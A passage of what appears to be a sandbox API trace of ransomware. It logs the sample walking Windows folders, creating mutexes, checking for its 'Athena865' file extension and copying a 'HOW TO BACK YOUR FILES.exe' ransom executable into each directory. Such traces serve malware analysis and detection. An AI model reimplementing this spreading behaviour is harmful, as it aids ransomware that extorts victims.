RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c638 [0102.916] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x88) returned 0x513b88 [0102.916] lstrcatW (in: lpString1="Sample Music", lpString2="\\" | out: lpString1="Sample Music\\") returned="Sample Music\\" [0102.916] lstrcatW (in: lpString1="Sample Music\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Sample Music\\HOW TO BACK YOUR FILES.exe") returned="Sample Music\\HOW TO BACK YOUR FILES.exe" [0102.916] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Documents\\My Music\\Sample Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\documents\\my music\\sample music\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.916] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc7f1bd80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7f1bd80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sample Music", cAlternateFileName="SAMPLE~1")) returned 0 [0102.916] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0102.916] ReleaseMutex (hMutex=0xec) returned 1 [0102.917] CloseHandle (hObject=0xec) returned 1 [0102.917] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Documents\\My Pictures" | out: lpString1="C:\\Documents and Settings\\All Users\\Documents\\My Pictures") returned="C:\\Documents and Settings\\All Users\\Documents\\My Pictures" [0102.917] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5019a8 | out: hHeap=0x4f0000) returned 1 [0102.917] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c620 | out: hHeap=0x4f0000) returned 1 [0102.917] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Documents\\My Pictures") returned 57 [0102.917] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\795FE8FD3479263740182EDC89CBD484") returned 0xec [0102.917] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.917] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Documents\\My Pictures" | out: lpString1="C:\\Documents and Settings\\All Users\\Documents\\My Pictures") returned="C:\\Documents and Settings\\All Users\\Documents\\My Pictures" [0102.917] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.917] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Documents\\My Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\documents\\my pictures\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.917] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Documents\\My Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\documents\\my pictures\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.918] GetLastError () returned 0x0 [0102.918] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.918] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546fd0 [0102.918] ReadFile (in: hFile=0xf4, lpBuffer=0x546fd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546fd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.919] CloseHandle (hObject=0xf4) returned 1 [0102.919] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546fd0 | out: hHeap=0x4f0000) returned 1 [0102.919] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.919] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Documents\\My Pictures\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7f41ee0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7f41ee0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0102.919] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.919] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.919] lstrcpyW (in: lpString1=0x241e8bc, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0102.919] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0102.919] lstrlenW (lpString="Athena865") returned 9 [0102.919] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.919] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd2fa6a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd2fa6a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0102.919] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0102.919] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc7f41ee0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7f41ee0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sample Pictures", cAlternateFileName="SAMPLE~1")) returned 1 [0102.919] lstrcmpiW (lpString1="Sample Pictures", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.919] lstrcmpiW (lpString1="Sample Pictures", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.919] lstrcpyW (in: lpString1=0x241e8bc, lpString2="Sample Pictures" | out: lpString1="Sample Pictures") returned="Sample Pictures" [0102.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c620 [0102.920] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x94) returned 0x53e1c0 [0102.920] lstrcatW (in: lpString1="Sample Pictures", lpString2="\\" | out: lpString1="Sample Pictures\\") returned="Sample Pictures\\" [0102.920] lstrcatW (in: lpString1="Sample Pictures\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Sample Pictures\\HOW TO BACK YOUR FILES.exe") returned="Sample Pictures\\HOW TO BACK YOUR FILES.exe" [0102.920] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Documents\\My Pictures\\Sample Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\documents\\my pictures\\sample pictures\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.920] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc7f41ee0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7f41ee0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sample Pictures", cAlternateFileName="SAMPLE~1")) returned 0 [0102.920] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0102.920] ReleaseMutex (hMutex=0xec) returned 1 [0102.920] CloseHandle (hObject=0xec) returned 1 [0102.920] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Documents\\My Videos" | out: lpString1="C:\\Documents and Settings\\All Users\\Documents\\My Videos") returned="C:\\Documents and Settings\\All Users\\Documents\\My Videos" [0102.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0102.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a5e0 | out: hHeap=0x4f0000) returned 1 [0102.920] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Documents\\My Videos") returned 55 [0102.921] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\F8435E02489D6DD05A35C84FE4575A20") returned 0xec [0102.921] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.921] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Documents\\My Videos" | out: lpString1="C:\\Documents and Settings\\All Users\\Documents\\My Videos") returned="C:\\Documents and Settings\\All Users\\Documents\\My Videos" [0102.921] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.921] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Documents\\My Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\documents\\my videos\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.921] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Documents\\My Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\documents\\my videos\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.921] GetLastError () returned 0x0 [0102.922] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.922] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546fd0 [0102.922] ReadFile (in: hFile=0xf4, lpBuffer=0x546fd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546fd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.923] CloseHandle (hObject=0xf4) returned 1 [0102.923] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546fd0 | out: hHeap=0x4f0000) returned 1 [0102.923] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.923] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Documents\\My Videos\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7fb4300, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7fb4300, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0102.923] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.923] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.923] lstrcpyW (in: lpString1=0x241e8b8, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0102.923] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0102.923] lstrlenW (lpString="Athena865") returned 9 [0102.923] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.923] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd2fa6a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd2fa6a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0102.923] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0102.923] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc7fda460, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7fda460, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sample Videos", cAlternateFileName="SAMPLE~1")) returned 1 [0102.923] lstrcmpiW (lpString1="Sample Videos", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.923] lstrcmpiW (lpString1="Sample Videos", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.923] lstrcpyW (in: lpString1=0x241e8b8, lpString2="Sample Videos" | out: lpString1="Sample Videos") returned="Sample Videos" [0102.923] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a5e0 [0102.923] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8c) returned 0x533ef0 [0102.924] lstrcatW (in: lpString1="Sample Videos", lpString2="\\" | out: lpString1="Sample Videos\\") returned="Sample Videos\\" [0102.924] lstrcatW (in: lpString1="Sample Videos\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Sample Videos\\HOW TO BACK YOUR FILES.exe") returned="Sample Videos\\HOW TO BACK YOUR FILES.exe" [0102.924] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Documents\\My Videos\\Sample Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\documents\\my videos\\sample videos\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.924] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc7fda460, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7fda460, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sample Videos", cAlternateFileName="SAMPLE~1")) returned 0 [0102.924] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0102.924] ReleaseMutex (hMutex=0xec) returned 1 [0102.924] CloseHandle (hObject=0xec) returned 1 [0102.924] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Microsoft\\Assistance" | out: lpString1="C:\\Documents and Settings\\All Users\\Microsoft\\Assistance") returned="C:\\Documents and Settings\\All Users\\Microsoft\\Assistance" [0102.924] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x501928 | out: hHeap=0x4f0000) returned 1 [0102.924] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c668 | out: hHeap=0x4f0000) returned 1 [0102.924] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Microsoft\\Assistance") returned 56 [0102.924] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\AE1AC7822487BF397EDFEC699C523986") returned 0xec [0102.925] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.925] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Microsoft\\Assistance" | out: lpString1="C:\\Documents and Settings\\All Users\\Microsoft\\Assistance") returned="C:\\Documents and Settings\\All Users\\Microsoft\\Assistance" [0102.925] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.925] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Assistance\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\assistance\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.925] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Assistance\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\assistance\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.925] GetLastError () returned 0x0 [0102.925] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.925] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546fd0 [0102.926] ReadFile (in: hFile=0xf4, lpBuffer=0x546fd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546fd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.926] CloseHandle (hObject=0xf4) returned 1 [0102.926] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546fd0 | out: hHeap=0x4f0000) returned 1 [0102.926] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.926] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Assistance\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xc4777b40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4777b40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0102.926] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.927] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.927] lstrcpyW (in: lpString1=0x241e8ba, lpString2="Client" | out: lpString1="Client") returned="Client" [0102.927] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c668 [0102.927] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x80) returned 0x5196f0 [0102.927] lstrcatW (in: lpString1="Client", lpString2="\\" | out: lpString1="Client\\") returned="Client\\" [0102.927] lstrcatW (in: lpString1="Client\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Client\\HOW TO BACK YOUR FILES.exe") returned="Client\\HOW TO BACK YOUR FILES.exe" [0102.927] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Assistance\\Client\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\assistance\\client\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.927] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc4777b40, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc4777b40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0102.927] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0102.927] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc4777b40, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc4777b40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0102.927] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0102.927] ReleaseMutex (hMutex=0xec) returned 1 [0102.928] CloseHandle (hObject=0xec) returned 1 [0102.928] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Microsoft\\Crypto" | out: lpString1="C:\\Documents and Settings\\All Users\\Microsoft\\Crypto") returned="C:\\Documents and Settings\\All Users\\Microsoft\\Crypto" [0102.928] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d6d8 | out: hHeap=0x4f0000) returned 1 [0102.928] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c650 | out: hHeap=0x4f0000) returned 1 [0102.928] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Microsoft\\Crypto") returned 52 [0102.928] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\90B1009DCA87FD5B76E1A6C392018889") returned 0xec [0102.928] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.928] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Microsoft\\Crypto" | out: lpString1="C:\\Documents and Settings\\All Users\\Microsoft\\Crypto") returned="C:\\Documents and Settings\\All Users\\Microsoft\\Crypto" [0102.928] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.928] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Crypto\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\crypto\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.928] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Crypto\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\crypto\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.929] GetLastError () returned 0x0 [0102.929] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.929] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546fd0 [0102.929] ReadFile (in: hFile=0xf4, lpBuffer=0x546fd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546fd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.930] CloseHandle (hObject=0xf4) returned 1 [0102.930] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546fd0 | out: hHeap=0x4f0000) returned 1 [0102.930] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.930] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Crypto\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc4777b40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4777b40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0102.930] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.930] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.930] lstrcpyW (in: lpString1=0x241e8b2, lpString2="DSS" | out: lpString1="DSS") returned="DSS" [0102.930] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c650 [0102.930] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x501928 [0102.930] lstrcatW (in: lpString1="DSS", lpString2="\\" | out: lpString1="DSS\\") returned="DSS\\" [0102.930] lstrcatW (in: lpString1="DSS\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="DSS\\HOW TO BACK YOUR FILES.exe") returned="DSS\\HOW TO BACK YOUR FILES.exe" [0102.930] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Crypto\\DSS\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\crypto\\dss\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.931] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc4777b40, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc4777b40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0102.931] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", 